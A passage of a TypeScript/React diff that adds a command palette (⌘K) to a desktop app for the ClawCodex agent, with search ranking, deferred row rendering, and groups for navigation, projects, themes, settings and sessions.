+// selects the row that says Tools, not a row that hides it in keywords.
+const scoreItem = (item: PaletteItem, needle: string): number => {
+  const label = item.label.toLowerCase()
+  const keys = (item.keywords ?? []).join(' ').toLowerCase()
+  const terms = needle.split(/\s+/).filter(Boolean)
+
+  if (terms.some(term => !label.includes(term) && !keys.includes(term))) {
+    return 0
+  }
+
+  if (label === needle) {
+    return 1
+  }
+
+  if (label.startsWith(needle)) {
+    return 0.9
+  }
+
+  const words = label.split(/[^\p{L}\p{N}]+/u).filter(Boolean)
+
+  if (words.includes(needle)) {
+    return 0.85
+  }
+
+  if (words.some(word => word.startsWith(needle))) {
+    return 0.8
+  }
+
+  if (label.includes(needle)) {
+    return 0.7
+  }
+
+  if (terms.every(term => label.includes(term))) {
+    return 0.6
+  }
+
+  // Matched only via keywords — the weakest, generic-row signal.
+  return 0.4
+}
+
+// Order items within each group by score, order groups by their best item, and
+// drop everything that doesn't match. Ties keep their original order (stable
+// sort), so curated group/item ordering still breaks even scores.
+const rankGroups = (groups: PaletteGroup[], search: string): PaletteGroup[] => {
+  const needle = normalize(search)
+
+  if (!needle) {
+    return groups
+  }
+
+  return groups
+    .map(group => {
+      const scored = group.items
+        .map(item => ({ item, score: scoreItem(item, needle) }))
+        .filter(entry => entry.score > 0)
+        .sort((a, b) => b.score - a.score)
+
+      return { group: { ...group, items: scored.map(entry => entry.item) }, max: scored[0]?.score ?? 0 }
+    })
+    .filter(entry => entry.max > 0)
+    .sort((a, b) => b.max - a.max)
+    .map(entry => entry.group)
+}
+
+// cmdk selection values must be unique; labels alone can repeat (the same
+// theme lists under both Light and Dark). The id suffix disambiguates.
+const paletteValue = (item: PaletteItem): string => `${item.label}\u0001${item.id}`
+
+const EMPTY_GROUPS: PaletteGroup[] = []
+
+// Backstop only. The palette normally retires on the content's real
+// `animationend`, so the CSS owns the close duration; this just guarantees the
+// body can't stay mounted forever somewhere animations never run (jsdom,
+// `animation: none`). Deliberately longer than any plausible exit so it never
+// races the real signal and truncates the fade.
+const EXIT_FALLBACK_MS = 1000
+
+/**
+ * The palette's row list, split out so an OPENING palette paints before it
+ * renders rows. This component mounts with the portal, so `useDeferredValue`'s
+ * initial value applies per open: the first commit is the frame + input
+ * (instant), and the several-hundred-row list arrives in an interruptible
+ * follow-up render. Opening ⌘K must never wait on building the list.
+ */
+const PaletteGroups = memo(function PaletteGroups({
+  bindings,
+  groups,
+  modHeld,
+  noResultsLabel,
+  onSelectItem,
+  onSelectMods,
+  search
+}: {
+  bindings: Record<string, string[]>
+  groups: PaletteGroup[]
+  modHeld: boolean
+  noResultsLabel: string
+  onSelectItem: (item: PaletteItem) => void
+  onSelectMods: (event: { ctrlKey: boolean; metaKey: boolean; shiftKey: boolean }) => void
+  search: string
+}) {
+  const deferred = useDeferredValue(groups, EMPTY_GROUPS)
+  // While the rows are still catching up, an empty list means "not rendered
+  // yet", not "nothing matched" — don't flash the empty state on open.
+  const pending = deferred !== groups
+
+  return (
+    <>
+      {/* Filtering happens in rankGroups, so cmdk's own CommandEmpty
+          (keyed to its internal filter count) would never fire. */}
+      {deferred.length === 0 && !pending && (
+        <div className="py-6 text-center text-sm text-muted-foreground">{noResultsLabel}</div>
+      )}
+      {deferred.map((group, index) => (
+        <CommandGroup className={HUD_HEADING} heading={group.heading} key={group.heading ?? `palette-group-${index}`}>
+          {group.items.map(item => (
+            <PaletteRow
+              bindings={bindings}
+              item={item}
+              key={item.id}
+              modHeld={modHeld}
+              onSelectItem={onSelectItem}
+              onSelectMods={onSelectMods}
+              search={search}
+            />
+          ))}
+        </CommandGroup>
+      ))}
+    </>
+  )
+})
+
+const PaletteRow = memo(function PaletteRow({
+  bindings,
+  item,
+  modHeld,
+  onSelectMods,
+  onSelectItem,
+  search
+}: {
+  bindings: Record<string, string[]>
+  item: PaletteItem
+  modHeld: boolean
+  onSelectMods: (event: { ctrlKey: boolean; metaKey: boolean; shiftKey: boolean }) => void
+  onSelectItem: (item: PaletteItem) => void
+  search: string
+}) {
+  const Icon = item.icon
+  // The row's live keybind, else a static modifier-variant hint (⌘↵). One slot,
+  // so every downstream `ml-auto` fallback below keeps working unchanged.
+  // `bindingsFor`, not a raw lookup: a plugin's action is contributed after
+  // $bindings was seeded, so its combo only resolves through the fallback chain.
+  const combo = (item.action ? bindingsFor(item.action, bindings)[0] : undefined) ?? item.comboHint
+  // While ⌘/⌃ is held, a row with a modifier variant previews it: the label
+  // swaps to the variant's copy so Enter reads as what it will actually do.
+  const modPreview = modHeld && Boolean(item.modLabel)
+
+  return (
+    <CommandItem
+      className={cn(HUD_ITEM, HUD_TEXT)}
+      keywords={item.keywords}
+      onMouseDown={onSelectMods}
+      onSelect={() => onSelectItem(item)}
+      value={paletteValue(item)}
+    >
+      <Icon className="size-3.5 shrink-0 text-muted-foreground" />
+      <span className={cn('truncate', modPreview && 'text-muted-foreground/80')}>
+        {modPreview ? (
+          item.modLabel
+        ) : (
+          /* Same per-term split as scoreItem's AND matcher, so the emphasis
+             shows exactly which words earned the row its rank. */
+          <HighlightMatches query={search.split(/\s+/)} text={item.label} />
+        )}
+      </span>
+      {item.detail && (
+        <span className={cn(HUD_NOTE, HUD_NOTE_VARIANT[item.detailVariant ?? 'muted'])}>{item.detail}</span>
+      )}
+      {combo && (
+        <KbdCombo className={cn('ml-auto', modPreview ? 'opacity-90' : 'opacity-55')} combo={combo} size="sm" />
+      )}
+      {item.to && <ChevronRight className={cn('size-3.5 shrink-0 text-muted-foreground/70', !combo && 'ml-auto')} />}
+      {item.active && <Check className={cn('size-3.5 shrink-0 text-primary', !combo && !item.to && 'ml-auto')} />}
+    </CommandItem>
+  )
+})
+
+// ClawCodex session ids: <YYYYMMDD>_<HHMMSS>_<6 hex>. Used to offer a direct
+// "Go to session ‹id›" jump for ids that aren't in the recent-200 list.
+const SESSION_ID_RE = /^\d{8}_\d{6}_[a-f0-9]{6}$/
+
+// A typed/pasted folder path: absolute (`/…`) or a Windows drive (`C:\…`).
+// Deliberately NOT `~/…`: the upsert's membership check (projectIdForCwd)
+// compares literal strings against the tree's absolute paths, so an unexpanded
+// home path would always miss and double-create.
+const FOLDER_PATH_RE = /^(\/|[A-Za-z]:[/\\]).+/
+
+type SessionRow = Awaited<ReturnType<typeof listAllProfileSessions>>['sessions'][number]
+
+const toSessionEntry = (session: SessionRow): SessionEntry => ({
+  git_branch: session.git_branch ?? null,
+  id: session.id,
+  preview: session.preview ?? undefined,
+  title: sessionTitle(session)
+})
+
+type NonConfigSettingsLabel =
+  | 'about'
+  | 'archivedChats'
+  | 'gateway'
+  | 'keysSettings'
+  | 'keysTools'
+  | 'mcp'
+  | 'plugins'
+  | 'providerAccounts'
+  | 'providerApiKeys'
+
+const NON_CONFIG_SETTINGS: ReadonlyArray<{
+  icon: IconComponent
+  keywords?: string[]
+  labelKey: NonConfigSettingsLabel
+  tab: string
+}> = [
+  {
+    icon: Zap,
+    keywords: ['accounts', 'sign in', 'oauth', 'login', 'subscription', 'models', 'anthropic', 'openai'],
+    labelKey: 'providerAccounts',
+    tab: 'providers&pview=accounts'
+  },
+  {
+    icon: KeyRound,
+    keywords: ['providers', 'api key', 'keys', 'secrets', 'tokens', 'egress', 'iron proxy', 'sandbox proxy'],
+    labelKey: 'providerApiKeys',
+    tab: 'providers&pview=keys'
+  },
+  { icon: Globe, keywords: ['connection', 'messaging'], labelKey: 'gateway', tab: 'gateway' },
+  {
+    icon: KeyRound,
+    keywords: ['api', 'secrets', 'tokens', 'credentials', 'browser', 'search'],
+    labelKey: 'keysTools',
+    tab: 'keys&kview=tools'
+  },
+  {
+    icon: Settings2,
+    keywords: ['gateway', 'proxy', 'server', 'webhook', 'env', 'egress proxy', 'iron proxy'],
+    labelKey: 'keysSettings',
+    tab: 'keys&kview=settings'
+  },
+  {
+    icon: Package,
+    keywords: ['plugins', 'extensions', 'desktop plugins', 'addon', 'add-on'],
+    labelKey: 'plugins',
+    tab: 'plugins'
+  },
+  { icon: Archive, keywords: ['history', 'archived'], labelKey: 'archivedChats', tab: 'sessions' },
+  { icon: Info, keywords: ['version', 'about'], labelKey: 'about', tab: 'about' }
+]
+
+const THEME_MODES: ReadonlyArray<{ icon: IconComponent; mode: ThemeMode }> = [
+  { icon: Sun, mode: 'light' },
+  { icon: Moon, mode: 'dark' },
+  { icon: Monitor, mode: 'system' }
+]
+
+// Which Light/Dark groups a theme belongs in. Built-ins render in both modes
+// (the engine synthesises the missing side). Imported VS Code themes only carry
+// the variant(s) the extension shipped — a single dark theme like Dracula lives
+// under Dark only, while a GitHub/Solarized family (light + dark) lives in both.
+function themeSupportsMode(name: string, target: 'light' | 'dark'): boolean {
+  if (!isUserTheme(name)) {
+    return true
+  }
+
+  const resolved = resolveTheme(name)
+
+  if (!resolved) {
+    return true
+  }
+
+  const background =
+    target === 'dark' ? (resolved.darkColors ?? resolved.colors).background : resolved.colors.background
+
+  return target === 'dark' ? luminance(background) <= 0.5 : luminance(background) > 0.5
+}
+
+/**
+ * ⌘K is an overlay that is stateful to itself: pressing it must open a frame
+ * immediately, and must not be held up by whatever else the shell is doing. So
+ * the mounted cost of a CLOSED palette is one store subscription and nothing
+ * else.
+ *
+ * Everything expensive — a dozen store subscriptions (connection, update
+ * status/apply, keybinds, worktrees, projects, theme, i18n), three server
+ * queries, and the group builders that assemble a few hundred rows — lives in
+ * `CommandPaletteBody`, which only exists while the palette is on screen.
+ * Before this split those hooks ran on every render of the always-mounted
+ * component: an in-flight update rewrote `$updateApply` per progress line and
+ * rebuilt the entire row set each time, for a surface nobody could see.
+ *
+ * `mounted` lags `open` by the close animation rather than tracking it exactly.
+ * Unmounting the body the instant `open` flips false would rip the content out
+ * of the tree before Radix could play `data-[state=closed]`, so the overlay
+ * would vanish instead of closing. The body reports its own exit via
+ * `onExited` (the content's real `animationend`), so nothing here has to know
+ * how long that animation is — the CSS owns the duration.
+ *
+ * The `openCount` key remounts the body per open, which is what lets local
+ * search/sub-page state reset without a close effect.
+ */
+export function CommandPalette() {
+  const open = useStore($commandPaletteOpen)
+  const [mounted, setMounted] = useState(open)
+  const [openCount, setOpenCount] = useState(0)
+
+  const retire = useCallback(() => {
+    // Only retire the body if the palette is still closed — a reopen mid-fade
+    // must not unmount the fresh instance.
+    if (!$commandPaletteOpen.get()) {
+      setMounted(false)
+    }
+  }, [])
+
+  useEffect(() => {
+    if (open) {
+      setOpenCount(count => count + 1)
+      setMounted(true)
+
+      return
+    }
+
+    // Safety net for environments where the exit animation never runs (jsdom,
+    // `animation: none`), so the body can't be stranded mounted. The real
+    // unmount is `onExited` below; whichever fires first wins.
+    const timer = setTimeout(retire, EXIT_FALLBACK_MS)
+
+    return () => clearTimeout(timer)
+  }, [open, retire])
+
+  return (
+    <DialogPrimitive.Root onOpenChange={setCommandPaletteOpen} open={open}>
+      {mounted && <CommandPaletteBody key={openCount} onExited={retire} />}
+    </DialogPrimitive.Root>
+  )
+}
+
+function CommandPaletteBody({ onExited }: { onExited: () => void }) {
+  const { t } = useI18n()
+  const pendingPage = useStore($commandPalettePage)
+  const bindings = useStore($bindings)
+  const worktrees = useStore($repoWorktrees)
+  const projectTree = useStore($projectTree)
+  const dismissedAutoProjects = useStore($dismissedAutoProjectIds)
+  const navigate = useNavigate()
+  const { availableThemes, mode, resolvedMode, setMode, setTheme, themeName } = useTheme()
+  const [search, setSearch] = useState('')
+  const [page, setPage] = useState<string | null>(null)
+
+  // The Update row names the same install the statusbar names — same target
+  // selection, same resolver. Reduced to the label string: an in-flight apply
+  // rewrites these stores on every progress line, and only a changed string
+  // should rebuild the palette's groups.
+  const connection = useStore($connection)
+  const desktopVersion = useStore($desktopVersion)
+  const clientStatus = useStore($updateStatus)
+  const clientApply = useStore($updateApply)
+  const backendStatus = useStore($backendUpdateStatus)
+  const backendApply = useStore($backendUpdateApply)
+
+  const updateVersionLabel = useMemo(() => {
+    const backend = connection?.mode === 'remote'
+    const apply = backend ? backendApply : clientApply
+    const status = backend ? backendStatus : clientStatus
+
+    return resolveVersionStatus({
+      applying: apply.applying || apply.stage === 'restart',
+      behind: status?.behind ?? 0,
+      copy: t.shell.statusbar,
+      remote: backend,
+      restarting: apply.stage === 'restart',
+      sha: status?.currentSha?.slice(0, 7) ?? null,
+      target: backend ? 'backend' : 'client',
+      updateAvailable: status?.updateAvailable,
+      version: backend ? status?.currentVersion : desktopVersion?.appVersion
+    }).label
+  }, [backendApply, backendStatus, clientApply, clientStatus, connection?.mode, desktopVersion?.appVersion, t])
+
+  // cmdk's onSelect doesn't forward the triggering event — keep the last
+  // click/keydown modifiers so session rows can honour ⌘-Enter / ⌘-click.
+  const lastSelectMods = useRef<{ ctrlKey: boolean; metaKey: boolean; shiftKey: boolean }>({
+    ctrlKey: false,
+    metaKey: false,
+    shiftKey: false
+  })
+
+  const noteSelectMods = (event: { ctrlKey: boolean; metaKey: boolean; shiftKey: boolean }) => {
+    lastSelectMods.current = {
+      ctrlKey: event.ctrlKey,
+      metaKey: event.metaKey,
+      shiftKey: event.shiftKey
+    }
+  }
+
+  // Live ⌘/⌃-held state while the palette is open: rows with a modifier
+  // variant (projects) preview it by swapping their label. Window-level
+  // listeners because focus sits in the search input; blur clears so a
+  // ⌘-Tab away doesn't strand the preview on.
+  const [modHeld, setModHeld] = useState(false)
+
+  useEffect(() => {
+    const sync = (event: KeyboardEvent) => setModHeld(event.metaKey || event.ctrlKey)
+    const clear = () => setModHeld(false)
+
+    window.addEventListener('keydown', sync, { capture: true })
+    window.addEventListener('keyup', sync, { capture: true })
+    window.addEventListener('blur', clear)
+
+    return () => {
+      window.removeEventListener('keydown', sync, { capture: true })
+      window.removeEventListener('keyup', sync, { capture: true })
+      window.removeEventListener('blur', clear)
+    }
+  }, [])
+
+  // Server-backed sources for the type-to-search groups. This component only
+  // exists while the palette is open, so the queries are inherently lazy — no
+  // `enabled` gate needed. react-query handles caching/dedup/staleness, so a
+  // reopen paints from cache and revalidates in the background.
+  const configQuery = useQuery({
+    queryKey: ['command-palette', 'config'],
+    queryFn: getClawCodexConfigRecord
+  })
+
+  const sessionsQuery = useQuery({
+    queryKey: ['command-palette', 'sessions'],
+    queryFn: () => listAllProfileSessions(200, 1, 'exclude')
+  })
+
+  const archivedQuery = useQuery({
+    queryKey: ['command-palette', 'archived'],
+    queryFn: () => listAllProfileSessions(200, 0, 'only')
+  })
+
+  const mcpServers = useMemo(() => {
+    const raw = configQuery.data?.mcp_servers
+
+    return raw && typeof raw === 'object' && !Array.isArray(raw)
+      ? Object.keys(raw as Record<string, unknown>).sort()
+      : []
+  }, [configQuery.data])
+
+  const sessions = useMemo(() => (sessionsQuery.data?.sessions ?? []).map(toSessionEntry), [sessionsQuery.data])
+  const archivedSessions = useMemo(() => (archivedQuery.data?.sessions ?? []).map(toSessionEntry), [archivedQuery.data])
+
+  // Search/sub-page are local to a mount, and this component remounts per open
+  // (keyed by open count), so each open starts clean without a reset effect.
+
+  // Deep-link into a nested page (e.g. `/pet list` → pets picker).
+  useEffect(() => {
+    if (pendingPage) {
+      setPage(pendingPage)
+      $commandPalettePage.set(null)
+    }
+  }, [pendingPage])
+
+  const go = useCallback((path: string) => () => navigateToWorkspacePage(navigate, path), [navigate])
+
+  // Sessions: plain select = open beside what's already loaded (focus existing
+  // tile/main, else a new tab — main only when it's a blank draft);
+  // ⌘/⌃-select / ⌘-Enter = force a new tab; ⇧⌘ = own window. Same door as the
+  // sidebar, minus the sidebar's licence to spend main.
+  const goSession = useCallback(
+    (sessionId: string) => (event?: { ctrlKey?: boolean; metaKey?: boolean; shiftKey?: boolean }) => {
+      openSession(sessionId, navigate, openSessionIntentFromModifiers(event, 'stack'))
+    },
+    [navigate]
+  )
+
+  // Step up one nested page (or back to the root list), clearing the filter so
+  // the parent page doesn't reopen mid-search.
+  const goBack = useCallback(() => {
+    setSearch('')
+    setPage(prev => (prev ? (PAGE_PARENTS[prev] ?? null) : null))
+  }, [])
+
+  const settingsSectionLabel = useCallback(
+    (section: (typeof SECTIONS)[number]) => t.settings.sections[section.id] ?? section.label,
+    [t.settings.sections]
+  )
+
+  const configFieldLabel = useCallback(
+    (key: string) =>
+      fieldCopyForSchemaKey(t.settings.fieldLabels, key) ??
+      fieldCopyForSchemaKey(FIELD_LABELS, key) ??
+      prettyName(key.split('.').pop() ?? key),
+    [t.settings.fieldLabels]
+  )
+
+  // Running a keepOpen row (a toggle) changes state the rows themselves report,
+  // so the groups have to rebuild without the palette closing. A counter keeps
+  // that generic — the palette never learns which stores its contributions read.
+  const [selectTick, setSelectTick] = useState(0)
+
+  const contributedItems = usePaletteContributions()
+
+  // The active repo's worktrees → "new conversation in <branch>". This is the
+  // ⌘K-typed "I want to work on <branch>" reflex: each entry seeds a fresh
+  // session anchored to that worktree's checkout (requestStartWorkSession),
+  // so git is the source of truth and edits land in the right tree.
+  const branchGroup = useMemo<PaletteGroup[]>(
+    () =>
+      worktrees.length > 0
+        ? [
+            {
+              heading: t.commandCenter.branches,
+              items: worktrees.map(wt => {
+                const name = wt.branch?.trim() || wt.path.split('/').pop() || wt.path
+
+                return {
+                  icon: GitBranch,
+                  id: `worktree-${wt.path}`,
+                  keywords: ['branch', 'worktree', 'switch', name, wt.path],
+                  label: t.commandCenter.startInBranch(name),
+                  run: () => requestStartWorkSession(wt.path)
+                }
+              })
+            }
+          ]
+        : [],
+    [t, worktrees]
+  )
+
+  const baseGroups = useMemo<PaletteGroup[]>(() => {
+    const settingsTab = (tab: string) => `${SETTINGS_ROUTE}?tab=${tab}`
+    const cc = t.commandCenter
+
+    // Projects are the primary way the desktop scopes work, so they're jumpable
+    // from the palette. Plain select is a pure scope switch (sidebar enters the
+    // project — never spends main); ⌘-Enter / ⌘-click also starts a new session
+    // at the project root (stacked as a tab when main holds a chat), previewed
+    // by the label swap while ⌘ is held. Rows carry the project's own codicon,
+    // matching the sidebar. The pinned "Open folder…" row is the ⌘O upsert.
+    const projectGroup: PaletteGroup = {
+      heading: cc.projects,
+      items: [
+        {
+          action: 'workspace.openFolder',
+          icon: codiconIcon('folder-opened'),
+          id: 'project-open-folder',
+          keywords: ['open', 'folder', 'directory', 'project', 'add', 'import', 'workspace'],
+          label: cc.openFolder,
+          run: () => void openFolderAsProject()
+        },
+        ...filterVisibleProjects(projectTree, dismissedAutoProjects).map(project => ({
+          comboHint: 'mod+enter',
+          icon: codiconIcon(project.icon || (project.isNoProject ? 'home' : 'folder-library')),
+          id: `project-${project.id}`,
+          keywords: ['project', 'workspace', 'go to', project.label, ...(project.path ? [project.path] : [])],
+          label: project.label,
+          modLabel: cc.newSessionInProject(project.label),
+          runWithEvent: (event?: { ctrlKey?: boolean; metaKey?: boolean; shiftKey?: boolean }) =>
+            goToProject(project.id, { newSession: Boolean(event?.metaKey || event?.ctrlKey) })
+        }))
+      ]
+    }
+
+    // Group order is the tiebreaker rankGroups falls back on (stable sort), and
+    // exact ties are the common case — "yolo" hits both "Toggle yolo" and a
+    // worktree named bb/yolo-* as a whole word. So this order IS the priority:
+    // where you're going, then what you can do, then what you can configure.
+    return [
+      {
+        heading: cc.goTo,
+        items: [
+          {
+            action: 'session.new',
+            icon: Plus,
+            id: 'nav-new',
+            keywords: ['chat', 'create'],
+            label: cc.nav.newChat.title,
+            run: go(NEW_CHAT_ROUTE)
+          },
+          ...(canOpenNewWindow()
+            ? [
+                {
+                  action: 'session.newWindow',
+                  icon: AppWindow,
+                  id: 'nav-new-window',
+                  keywords: ['window', 'instance', 'open', 'new'],
+                  label: t.keybinds.actions['session.newWindow'],
+                  run: () => void openNewWindow()
+                }
+              ]
+            : []),
+          {
+            action: 'nav.settings',
+            icon: Settings,
+            id: 'nav-settings',
+            label: cc.nav.settings.title,
+            run: go(SETTINGS_ROUTE)
+          },
+          {
+            action: 'nav.skills',
+            icon: Wrench,
+            id: 'nav-skills',
+            keywords: ['skills', 'tools', 'toolsets', 'mcp', 'capabilities'],
+            label: cc.nav.skills.title,
+            run: go(SKILLS_ROUTE)
+          },
+          {
+            action: 'nav.messaging',
+            icon: MessageCircle,
+            id: 'nav-messaging',
+            label: cc.nav.messaging.title,
+            run: go(MESSAGING_ROUTE)
+          },
+          {
+            action: 'nav.artifacts',
+            icon: Package,
+            id: 'nav-artifacts',
+            label: cc.nav.artifacts.title,
+            run: go(ARTIFACTS_ROUTE)
+          },
+          {
+            action: 'nav.cron',
+            icon: Clock,
+            id: 'nav-cron',
+            keywords: ['schedule', 'jobs'],
+            label: t.shell.statusbar.cron,
+            run: go(CRON_ROUTE)
+          },
+          { action: 'nav.profiles', icon: Users, id: 'nav-profiles', label: t.profiles.title, run: go(PROFILES_ROUTE) },
+          { action: 'nav.agents', icon: Cpu, id: 'nav-agents', label: t.agents.title, run: go(AGENTS_ROUTE) },
+          {
+            icon: Starmap,
+            id: 'nav-starmap',
+            keywords: ['star map', 'memory', 'memories', 'skills', 'graph', 'learning', 'constellation'],
+            label: t.starmap.title,
+            run: go(STARMAP_ROUTE)
+          }
+        ]
+      },
+      projectGroup,
+      // Registry-contributed rows (core features + plugins) — one group,
+      // omitted while nothing contributes.
+      ...(contributedItems.length > 0
+        ? [
+            {
+              heading: cc.commands,
+              items: contributedItems.map(item => ({
+                action: item.action,
+                // Read on mount and after every select (the deps below), so a
+                // row that reports state can't show the state it just left.
+                detail: item.detail?.(),
+                detailVariant: item.detailVariant,
+                icon: item.icon ?? Zap,
+                id: item.key,
+                keepOpen: item.keepOpen,
+                keywords: item.keywords,
+                label: item.label,
+                run: item.run
+              }))
+            }
+          ]
+        : []),
+      {
+        heading: cc.commandCenter,
+        items: [
+          {
+            icon: Archive,
+            id: 'cc-sessions',
+            keywords: ['command center', 'sessions', 'pin'],
+            label: cc.sections.sessions,
+            run: go(`${COMMAND_CENTER_ROUTE}?section=sessions`)
+          },
+          {
+            icon: Activity,
+            id: 'cc-system',
+            keywords: ['command center', 'system', 'status', 'logs'],
+            label: cc.sections.system,
+            run: go(`${COMMAND_CENTER_ROUTE}?section=system`)
+          },
+          {
+            icon: BarChart3,
+            id: 'cc-usage',
+            keywords: ['command center', 'usage', 'tokens', 'cost'],
+            label: cc.sections.usage,
+            run: go(`${COMMAND_CENTER_ROUTE}?section=usage`)
+          },
+          {
+            icon: RefreshCw,
+            id: 'cc-restart-gateway',
+            keywords: ['gateway', 'restart', 'messaging', 'reconnect', 'system'],
+            label: cc.restartGateway,
+            run: () => void runGatewayRestart()
+          },
+          {
+            detail: updateVersionLabel,
+            icon: Download,
+            id: 'cc-update-clawcodex',
+            keywords: ['update', 'upgrade', 'clawcodex', 'version', 'system', 'restart'],
+            label: cc.updateClawCodex,
+            run: () => requestActiveUpdate()
+          }
+        ]
+      },
+      {
+        // Declared before Settings: cmdk keeps group order, so this keeps the
+        // theme/mode pickers on top for "theme"/"color" queries instead of
+        // buried under a fuzzy Settings match.
+        heading: cc.appearance,
+        items: [
+          {
+            icon: Palette,
+            id: 'appearance-theme',
+            keywords: ['theme', 'appearance', 'color', 'palette', 'skin', 'dark', 'light', 'look'],
+            label: cc.changeTheme,
+            to: 'theme'
+          },
+          {
+            icon: Sun,
+            id: 'appearance-mode',
+            keywords: ['appearance', 'color mode', 'brightness', 'dark', 'light', 'system'],
+            label: cc.changeColorMode,
+            to: 'color-mode'
+          },
+          {
+            icon: PawPrint,
+            id: 'appearance-pets',
+            keywords: ['pet', 'petdex', 'mascot', 'pets', '/pet', 'paw'],
+            label: cc.pets.title,
+            to: 'pets'
+          },
+          {
+            icon: Egg,
+            id: 'appearance-generate-pet',
+            keywords: ['pet', 'generate', 'create', 'make', 'new pet', 'mascot', 'hatch', 'ai'],
+            label: cc.generatePet.title,
+            run: () => openPetGenerate()
+          }
+        ]
+      },
+      {
+        heading: cc.settings,
+        items: [
+          ...SECTIONS.map(section => ({
+            icon: section.icon,
+            id: `set-config-${section.id}`,
+            keywords: ['settings', section.label, settingsSectionLabel(section)],
+            label: settingsSectionLabel(section),
+            run: go(settingsTab(`config:${section.id}`))
+          })),
+          ...NON_CONFIG_SETTINGS.map(entry => ({
+            icon: entry.icon,
+            id: `set-${entry.tab}`,
+            keywords: ['settings', ...(entry.keywords ?? [])],
+            label: t.settings.nav[entry.labelKey],
+            run: go(settingsTab(entry.tab))
+          }))
+        ]
+      }
+    ]
+    // `selectTick` is a deliberate re-read trigger, not a value: rows report
+    // live state through `detail()`, so the groups must rebuild after a select
+    // that kept the palette open — eslint only sees an unused dep.
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [
+    contributedItems,
+    dismissedAutoProjects,
+    go,
+    projectTree,
+    selectTick,
+    settingsSectionLabel,
+    t,
+    updateVersionLabel
+  ])
+
+  // The long, granular lists (settings fields, API keys, MCP servers, archived
+  // chats) only surface once the user types — otherwise they'd bury the
+  // navigation entries on an empty palette.
+  const searchGroups = useMemo<PaletteGroup[]>(() => {
+    if (!search.trim()) {
+      return []
+    }
+
+    const result: PaletteGroup[] = []
+
+    // Paste a raw session id → jump straight to it, even if it predates the
+    // recent-200 window the lists below are built from.
+    const directId = search.trim()
+
+    if (SESSION_ID_RE.test(directId)) {
+      result.push({
+        items: [
+          {
+            icon: MessageCircle,
+            id: `goto-${directId}`,
+            keywords: ['session', 'id', 'go to', directId],
+            label: `${t.commandCenter.goToSession} ${directId}`,
+            runWithEvent: goSession(directId)
+          }
+        ]
+      })
+    }
+
+    // Paste/type an absolute folder path → open it as a project directly (the
+    // ⌘O upsert without the native picker). Same reflex as the raw-session-id
+    // row above.
+    if (FOLDER_PATH_RE.test(directId)) {
+      result.push({
+        items: [
+          {
+            icon: codiconIcon('folder-opened'),
+            id: `open-folder-${directId}`,
+            keywords: ['open', 'folder', 'project', directId],
+            label: t.commandCenter.openFolderAt(directId),
+            run: () => void openFolderAsProject(directId)
+          }
+        ]
+      })
+    }
+
+    // Deep-link straight to a Capabilities sub-tab. The root "Go to" entry only
+    // lands on the top-level Skills view; typing "mcp"/"tools"/"skills" should
+    // jump to the exact tab (matches the "not just the top lvl" ask).
+    const capLabel = t.commandCenter.nav.skills.title
+
+    result.push({
+      heading: capLabel,
+      items: [
+        {
+          icon: Wrench,
+          id: 'cap-skills',
+          keywords: ['skills', 'capabilities'],
+          label: `${capLabel}: ${t.skills.tabSkills}`,
+          run: go(`${SKILLS_ROUTE}?tab=skills`)
+        },
+        {
+          icon: SlidersHorizontal,
+          id: 'cap-toolsets',
+          keywords: ['tools', 'toolsets', 'capabilities'],
+          label: `${capLabel}: ${t.skills.tabToolsets}`,
+          run: go(`${SKILLS_ROUTE}?tab=toolsets`)
+        },
+        {
+          icon: Layers3,
+          id: 'cap-mcp',
+          keywords: ['mcp', 'servers', 'tools', 'capabilities', 'model context protocol'],
+          label: `${capLabel}: ${t.skills.tabMcp}`,
+          run: go(`${SKILLS_ROUTE}?tab=mcp`)
+        }
+      ]
+    })
+
+    // Apply a theme directly from the root search (e.g. "nous" → Nous). Live
+    // preview via keepOpen, mirroring the nested theme picker. If the theme
+    // can't render the current light/dark mode, flip to the one it supports.
+    result.push({
+      heading: t.settings.appearance.themeTitle,
+      items: availableThemes.map(theme => ({
+        active: themeName === theme.name,
+        icon: Palette,
+        id: `search-theme-${theme.name}`,
+        keepOpen: true,
+        keywords: ['theme', 'appearance', 'color', 'skin', theme.name, theme.description],
+        label: theme.label,
+        run: () => {
+          setTheme(theme.name)
+
+          if (!themeSupportsMode(theme.name, resolvedMode)) {
+            setMode(resolvedMode === 'dark' ? 'light' : 'dark')
+          }
+        }
+      }))
+    })
+
+    // Switch light/dark/system directly (typing "dark" shouldn't require the
+    // nested color-mode page).
+    result.push({
+      heading: t.settings.appearance.colorMode,
+      items: THEME_MODES.map(entry => ({
+        active: mode === entry.mode,
+        icon: entry.icon,
+        id: `search-mode-${entry.mode}`,
+        keepOpen: true,
+        keywords: ['appearance', 'color mode', 'brightness', entry.mode, t.settings.modeOptions[entry.mode].label],
+        label: t.settings.modeOptions[entry.mode].label,
+        run: () => setMode(entry.mode)
+      }))
+    })
+
+    if (sessions.length > 0) {
+      result.push({
+        heading: t.commandCenter.sections.sessions,
+        items: sessions.map(session => ({
+          icon: MessageCircle,
+          id: `session-${session.id}`,
+          keywords: [
+            'chat',
+            'session',
+            ...(session.preview ? [session.preview] : []),
+            ...(session.git_branch ? [session.git_branch] : [])
+          ],
+          label: session.title,
+          runWithEvent: goSession(session.id)
+        }))
+      })
+    }
+
+    const fieldItems = SECTIONS.flatMap(section =>
+      section.keys.map(key => ({
+        icon: section.icon,
+        id: `field-${key}`,
+        keywords: ['settings', key, section.label, settingsSectionLabel(section)],
+        label: `${settingsSectionLabel(section)}: ${configFieldLabel(key)}`,
+        run: go(`${SETTINGS_ROUTE}?tab=config:${section.id}&field=${encodeURIComponent(key)}`)
+      }))
+    )
+
+    result.push({ heading: t.commandCenter.settingsFields, items: fieldItems })
+
+    if (mcpServers.length > 0) {
+      result.push({
+        heading: t.commandCenter.mcpServers,
+        items: mcpServers.map(name => ({
+          icon: Wrench,
+          id: `mcp-${name}`,
+          keywords: ['mcp', 'server', 'tool'],
+          label: name,
+          run: go(`${SKILLS_ROUTE}?tab=mcp&server=${encodeURIComponent(name)}`)
+        }))
+      })
+    }
+
+    if (archivedSessions.length > 0) {
+      result.push({
+        heading: t.commandCenter.archivedChats,
+        items: archivedSessions.map(session => ({
+          icon: Archive,
+          id: `archived-${session.id}`,
+          keywords: [
+            'archived',
+            'chat',
+            'session',
+            ...(session.preview ? [session.preview] : []),
+            ...(session.git_branch ? [session.git_branch] : [])
+          ],
+          label: session.title,
+          run: go(`${SETTINGS_ROUTE}?tab=sessions&session=${encodeURIComponent(session.id)}`)
+        }))
+      })
+    }
+
+    return result
+  }, [
+    archivedSessions,
